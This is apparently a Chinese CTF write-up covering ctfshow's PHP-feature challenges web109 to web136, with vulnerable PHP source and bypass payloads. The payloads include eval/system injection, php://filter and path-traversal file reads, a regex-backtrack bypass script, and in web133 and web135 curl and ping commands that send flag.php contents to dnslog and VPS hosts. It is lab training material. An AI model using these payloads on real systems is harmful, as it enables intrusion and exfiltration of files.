php特性


web109

  • 描述: 换个姿势
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}

只检查了v1和v2是否存在以及是否包含了字母, 随后就是eval执行命令: 创建一个名为$v1的类的实例并且调用名称为$v2的方法

这里我们可以利用魔术方法__toString和异常处理机制执行任意代码: 因为是echo new class, 将类当成字符串输出; 很多PHP内置类(如Exception, CachingIterator, ReflectionClass)都实现了__toString

Exception, CachingIteratorReflectionClass类的部分解释, 可以知道部分方法由__toString触发

所以payload:

?v1=Exception&v2=system('tac fl36dg.txt')
?v1=CachingIterator&v2=system('tac fl36dg.txt')
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
# 问就是cat还得翻翻源码

web110

  • 描述: 我报警了
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}

过滤基本剩下字母, 但是你说的对, 还是得用内置类: 利用FilesystemIterator获取指定目录下的所有文件(接受一个路径作为参数), 而获取当前路径的函数中, getcwd不需要参数, getchwd函数会返回当前工作目录

所以构造如下:

?v1=FilesystemIterator&v2=getcwd
# 本目录下有fl36dga.txt

没有后续了, 可以直接访问的

web111

  • 描述: 变量覆盖
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}

显然eval("$$v1 = &$$v2;");会出现变量覆盖问题, 但是要求$v1中包含字符串ctfshow才会调用, 所以只能构造$v2

因为我们并不知道flag在哪个变量里面, 所以直接调用超全局变量$GLOBALS: $GLOBALS是PHP的一个超级全局变量组, 包含了全部变量的全局组合数组, 变量的名字就是数组的键

所以payload:

?v1=ctfshow&v2=GLOBALS

就算知道了, 可是flag是在flag.php中的, 对于getFlag()是外部变量, 还是不能直接赋值给$ctfshow

web112

  • 描述: 函数绕过
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

is_file函数用于检查指定的文件是否是常规的文件, 如果是, 则返回TRUE; 而既要通过is_file函数的检测, 还要通过highlight_file得到flag, 那只有伪协议读取文件

过滤了一些过滤器, 那就不使用过滤器, payload:

?file=php://filter/resource=flag.php

或者塞一些正则匹配之外的过滤器

php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php

官方还给了一种伪协议:

compress.zlib://flag.php

他人博客解析

web113

  • 描述: 函数绕过
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

增加了过滤filter, 上一题给出了一种方法

compress.zlib://flag.php

官方预期解为

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

其中/proc/self/root是Linux系统中一个特殊的符号链接, 它始终指向当前进程的根目录; 由于目录溢出导致is_file无法正确解析, 认为这不是一个文件, 返回FALSE

web114

  • 描述: 同上
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

你怎么又回来了, 那就用伪协议吧

?file=php://filter/resource=flag.php

web115

function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

str_replace(find,replace,string,count)函数替换字符串中的一些字符, 区分大小写; 题中替换了一些常见的其他形式的数字

trim(string,charlist)函数移除字符串两侧的空白字符或其他预定义字符, 因为第二个参数没有定义, 所以移除以下所有内容:

"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

要求在经过过滤函数前传入的$num不能是36, 经过过滤后要等于36

trim函数并没有过滤换页符(%0c), 如果利用换页符构造, filter函数也不会生效, 所以构造:

?num=%0c36

%0c在前面的原因是还需要绕过is_numeric, 此函数可以在数字前面加上空格或者等效于空格(%09)的进行绕过

注意!=====都是强等于, 而有类似空格的在数字前面, 都不会强等于数字

后面的filter是弱比较, 经过类型转换后变灰了36, 可以通过, 所以这就是payload了

web123

  • 描述: 突破函数禁用
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

首先是经典的传入_要用[替代(传入的变量名如果包含空格, 加号, 左中括号会被转化为下划线): 网站默认会把点转换为下划线, 对不符合规则的变量只转换一次, 而CTF_SHOW.COM里有两个不规则的字符, 所以需要写成CTF[SHOW.COM

$fl0g是不能传参的, 所以利用只能是eval("$c".";");, 使$c等于echo $flag;即可, 刚好小于18

payload如下:

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

web125

  • 描述: php特性
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

现在$fl0g可控了, 但是是要求不能有$fl0g; $c长度限制变成了16且增加了新的过滤

既然POST走不通那就走GET, payload:

GET: ?1=flag.php 
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126

  • 描述: 同上
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

新增的匹配导致输出函数和GET方法都不能使用了, 那考虑满足$fl0g的条件利用变量覆盖获取flag

可能利用到的函数:

extract($array)函数, 从数组中将变量导入到当前的符号表, 可以实现变量覆盖(但是有c, 被过滤了); parse_str($str)函数, 将字符串解析成多个变量, 可用; assert()执行php语句, 可用

那怎么传入 fl0g=flag_give_me, 只能是$a=$_SERVER['argv'];

$_SERVER['argv']在Web模式下默认是不可用的, 主要用于处理命令行参数

Web模式下如果要$_SERVER['argv']能接受GET的传参, 需要在php.ini中设置register_argc_argv=On, 此时$_SERVER['argv'][0] = $_SERVER['QUERY_STRING'];, 可以利用GET传入参数, 格式和命令行相同, 空格隔开参数

进行本地测试可以利用以下代码:

<?php  
error_reporting(0);
// 检查 register_argc_argv 是否打开
if (ini_get('register_argc_argv')) {
echo "register_argc_argv 已打开。<br>";
} else {
echo "register_argc_argv 未打开。<br>";
}
var_dump($_SERVER);
?>

然后传入?a=b+c=d, 查看输出是否是argv中有两个元素a=b, c=d

由此构建payload:

GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

或者用assert甚至eval

GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

GET:?$fl0g=flag_give_me; # eval内部语句要有结尾
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

web127

  • 描述:
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];

//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}

if($ctf_show==='ilove36d'){
echo $flag;
}

extract函数从数组中将变量导入到当前的符号表, 就是如果传入的是?a=1, 就会变成程序中的$a=1

难绷官方警告:

image-20240725160619167

因为对不符合规则的变量转换一次, 本来是不需要构造的, 特殊字符的检测需要我们用空格来代替下划线; payload如下:

?ctf show=ilove36d

web128

  • 描述: 骚操作
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}

function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

gettext函数的官方解释进阶配置, 可以了解到_()是等价于gettext()的, 很好的绕过了正则

get_defined_vars 函数, 返回由所有已定义变量所组成的数组

call_user_func会利用_()get_defined_vars返还出来(就是输出还是输入), 然后再有一个call_user_func来调用get_defined_vars函数,然后利用var_dump函数输出就可以得到flag; payload:

?f1=_&f2=get_defined_vars

这里就没有用其他符号替代下划线的方法, 尝试替代之后发现payload失效

f2可以等于phpinfo, 可以得到详细信息

web129

  • 描述: 常规操作
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

stripos 函数, 查找字符串首次出现的位置(不区分大小写), 如果没出现就返回FALSE

不知道在哪, 不知道读什么, 就去/etc/passwd或者index.php, 至于怎么绕过stripos, 访问不存在的目录再回来不就好了

?f=../ctfshow/../../../etc/passwd

那差不多就结束了, 现在只需要测试flag在哪里就可以了; payload:

?f=../ctfshow/../../../../var/www/html/flag.php
?f=/ctfshow/../../../../var/www/html/flag.php

web130

  • 描述: very very very(省略25万个very)ctfshow
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}

首先检查变量$f中是否包含(不区分大小写, 且可以跨越多行), 以任意字符(但尽可能少)开头, 紧接着是ctfshow这个字符串的文本, 例如/ctfshow

然后因为stripos函数返回的是数字, 肯定不会强等于FALSE, 所以在任何位置出现特停字符串即可; 以上两个过滤都是形同虚设, payload如下:

POST: f=ctfshow

看不懂的也可以直接利用正则最大回溯次数绕过(洞悉正则最大回溯/递归限制): PHP为了防止正则表达式的拒绝服务攻击(reDOS), 给 pcre设定了一个回溯次数上限pcre.backtrack_limit; 回溯次数上限默认是100万, 如果回溯次数超过了100 万, preg_match将不再返回1和0, 而是 false

import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web131

  • 描述: 同上
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}

将传入的类型强制变成了字符串(所以说上一题用数组也可以绕过?), 这下不得不利用正则最大回溯绕过了, 里面参杂一个36Dctfshow即可, 脚本还是用上面那个

web132

  • 描述: 为什么会这样?

打开来是一个网页, /robots.txt中找到后台登录界面/admin

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}

运算优先级虽然&&是大于||, 但是只要$username=admin, 整个判断式为真(或只要一边为真即为真)

所以只需要$username=$code=admin即可, payload如下:

/admin/?username=admin&password=1&code=admin

web133

//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

限制为6个字符, 但是它没有对传入的变量$F进行操作, 仅仅只是截取了前六个字符然后放进了eval函数

所以可以尝试变量覆盖,刚好构造6个字符(自己覆盖自己也是覆盖):

?F=`$F`;%20

利用touch 1测试能否写入文件, 发现不可写入

本题似乎没有回显, 尝试ls也不能整出点啥来

不可写, 那么也不能将内容存储下来然后读取了, 那怎么办呢

先去网站获取一个域名, 比如 k700a2.dnslog.cn, 然后尝试执行命令将数据发到这个域名:

?F=`$F`;%20ping `cat flag.php`.k700a2.dnslog.cn -c 1

因为flag.php内容太多, 所以不会收到任何信息(二级域名是有长度限制的); 我们需要增加一些过滤器:

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.zfiu19.dnslog.cn -c 1

按理来说现在刷新数据将会得到不含特殊符号的flag, 我无论如何都无法得到内容, 所以我决定用公网vps

利用curl命令将文件发送给vps

#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F xx=@flag.php http://172.22.32.177/10000

诶你先别急, 我搞不出来, 到时候再说

web134

  • 描述: 为什么会那样?
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

老熟人extract函数, 从数组中将变量导入到当前的符号表, 常常用在变量覆盖

所以绕过最上方的判断再利用变量覆盖即可, payload如下:

?_POST[key1]=36d&_POST[key2]=36d

GET我没试过?反正就是POST->GET

web135

  • 描述: web133plus

其实就是web133wp中的另一种解法

//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

payload:

`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据

web136

  • 描述: BY yu22x
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

exec是没有回显的, 我们尝试将执行结果输出到可读文件

?c=ls | tee 1

然后访问该地址(url/1)下载下来, 发现命令可执行, 文件中有当前目录的文件, 其余命令执行照搬即可; payload:

# 找到flag
ls / | tee 2
# 读取flag
cat /f149_15_h3r3|tee 3